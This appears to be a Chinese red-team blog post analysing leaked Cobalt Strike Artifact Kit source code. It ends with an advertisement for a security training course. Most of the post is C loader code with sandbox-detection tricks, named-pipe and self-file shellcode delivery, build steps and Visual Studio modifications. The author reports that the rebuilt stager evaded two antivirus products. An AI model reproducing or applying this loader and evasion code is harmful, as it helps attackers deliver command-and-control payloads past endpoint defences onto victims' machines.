前段时间从vt下载到了一份源码,据说是cs的beacon源码,但研究以后发现实际上是泄露的Artifact Kit组件的源码。虽然当前Cobalt Strike使用Artifact Kit生成的Artifact几乎被所有主流杀软查杀,但是可以从通过分析源码中,我们可以学到Cobalt Strike生成artifact的原理和一些免杀思路。
Artifact Kit 是Cobalt Strike使用的免杀组件,Artifact Kit 是一个制作免杀 EXE、DLL 和 Service EXE 的源代码框架,平时直接在Cobalt Strike中生成的stager都是使用了Artifact Kit生成的。其中一种技术[参见:Artifact Kit 中的 src-common/bypass-pipe.c]生成可执行文件和 DLL,它们通过命名管道为自己提供 shellcode。如果防病毒沙箱不能模拟命名管道,它将找不到已知的恶意 shellcode。
Cobalt Strike在以下地方使用Artifact Kit:
在 Cobalt Strike 的 Help --> Arsenal 处可下载 Artifact Kit。但是需要License Key才能下载,正好手里有从vt上泄露的源码,首先看下目录:
代码如下,可以看到代码使用了两次GetTickCount(),中间有Sleep(650),然后计算时间是否正确,主要通过这种方式来对抗沙盒的调试。
#include <windows.h>
#include <stdio.h>
#include "patch.h"void start(HINSTANCE mhandle) {
phear * payload = (phear *)data;
char * buffer;
/* post and retrieve a message... to see if we're in an A/V sandbox or not. */
MSG msg;
DWORD tc;
PostThreadMessage(GetCurrentThreadId(), WM_USER + 2, 23, 42);
if (!PeekMessage(&msg, (HWND)-1, 0, 0, 0))
return; if (msg.message != WM_USER+2 || msg.wParam != 23 || msg.lParam != 42)
return;
/* check timing of A/V sandbox... */
tc = GetTickCount();
Sleep(650);
if (((GetTickCount() - tc) / 300) != 2)
return;
/* copy our payload into its own buffer... necessary b/c spawn modifies it */
buffer = (char *)malloc(payload->length);
memcpy(buffer, payload->payload, payload->length);
/* execute our payload */
spawn(buffer, payload->length, payload->key);
/* clean up after ourselves */
free(buffer);
}
Cobalt Strike默认的生成方式,使用了命名管道读取方法,管道格式为"%c%c%c%c%c%c%c%c%cMSSE-%d-server",使用ReadFile读取shellcode然后解密加载。
void server(char * data, int length) {
DWORD wrote = 0;
HANDLE pipe = CreateNamedPipeA(pipename, PIPE_ACCESS_OUTBOUND, PIPE_TYPE_BYTE, 1, 0, 0, 0, NULL); if (pipe == NULL || pipe == INVALID_HANDLE_VALUE)
return;
BOOL result = ConnectNamedPipe(pipe, NULL);
if (!result)
return;
while (length > 0) {
result = WriteFile(pipe, data, length, &wrote, NULL);
if (!result)
break;
data += wrote;
length -= wrote;
}
CloseHandle(pipe);
}
BOOL client(char * buffer, int length) {
DWORD read = 0;
HANDLE pipe = CreateFileA(pipename, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (pipe == INVALID_HANDLE_VALUE)
return FALSE;
while (length > 0) {
BOOL result = ReadFile(pipe, buffer, length, &read, NULL);
if (!result)
break;
buffer += read;
length -= read;
}
CloseHandle(pipe);
return TRUE;
}
通过打开自身读取shellcode的方式,绕过杀软。
void start(HINSTANCE mhandle) {
phear * payload = (phear *)data; /* get the name of this file */
char * name = (char *)malloc(sizeof(char) * 2048);
GetModuleFileName(mhandle, name, sizeof(char) * 2048);
/* read in the file and seek to a particular point */
FILE * handle = fopen(name, "rb");
/* seek to the place in the file where our data begins */
fpos_t offset = (fpos_t)payload->offset;
fsetpos(handle, &offset);
/* retrieve and decode the payload 1 byte at a time. */
char * buffer = (char *)malloc(payload->length);
int read = fread((void *)buffer, sizeof(char), payload->length, handle);
fclose(handle);
/* complete the rest of the silly payload */
int x;
for (x = read; x < payload->length; x++) {
buffer[x] = payload->payload[x];
}
/* spawn our thread with the goodies */
spawn(buffer, payload->length, payload->key);
}
我是在ubuntu 上做的测试,首先安装mingw-w64
sudo apt-get install mingw-w64
然后运行build.sh,等待编译完成,
把生成好的文件夹拷贝出来一份,打开 Cobalt Strike → Script Manager (脚本管理器),并从文件夹中加载 artifact.cna 脚本,以dist-peek举例:
然后生成artifact,此时artifact就是以刚才linux编译出的二进制模板和shellcode组合成的:
当然如果使用原生的Artifact Kit,肯定会被杀的很惨,我们需要在原有的代码基础上进行修改。
第一种方法,README.txt里面提供了添加新方法的方式:
这样就可以为Cobalt Strike添加新的Artifact生成方法用于绕过杀软。
另一种方法,使用VS编译的方式添加新功能,先创建一个新的项目,功能以bypass-peek.c为例,目录如下图:
这时还有些需要修改的地方,bypass-peek.c中start函数改为main函数,然后DATA_SIZE没有被定义,按照build.sh中的32-bit staged artifact生成方法,DATA_SIZE为1024,直接宏定义到patch.h里。
然后需要修改的地方是patch.c的第25,26行,遇到了Error E0852 - expression must be a pointer to a complete object type,把 set_key_pointers(void * buffer) 改为 set_key_pointers(char * buffer) 即可。
把patch.c的67行处,添加WaitForSingleObject,目的是为了让主进程等待线程执行完毕,不然程序会直接退出:
/* spawn a thread with our data */
HANDLE handle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&run,ptr, 0, NULL);
WaitForSingleObject(handle, INFINITE);
最后去掉控制台窗口,有两种方法:
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
属性--链接器--子系统--subsystem:windows
高级--入口点--mainCRTStartup
把生成的文件和原来的artifact32.exe做替换,然后在CS中生成32-bit staged artifact
没有做任何其他功能修改,只是用VS生成的x86 artifact文件正常上线,绕过了火绒和360:
也可以配合Syswhispers 工具以系统调用的方式绕过AV/EDR检测,参考下面这篇文章:
https://br-sn.github.io/Implementing-Syscalls-In-The-CobaltStrike-Artifact-Kit/
欢迎加入知识星球交流,一起学习,共同进步。
宽字节安全团队第一期线下网络安全就业班7月1日开班了,由宽字节安全团队独立运营,一线红队大佬带队,有丰富的漏洞研究、渗透测试、应急响应的经验与沉淀,干货多多,欢迎添加客服咨询。最后两天,过了这个村就没这个店了!!!想上车的小伙伴抓紧时间上车!!!
客服微信:unicodesec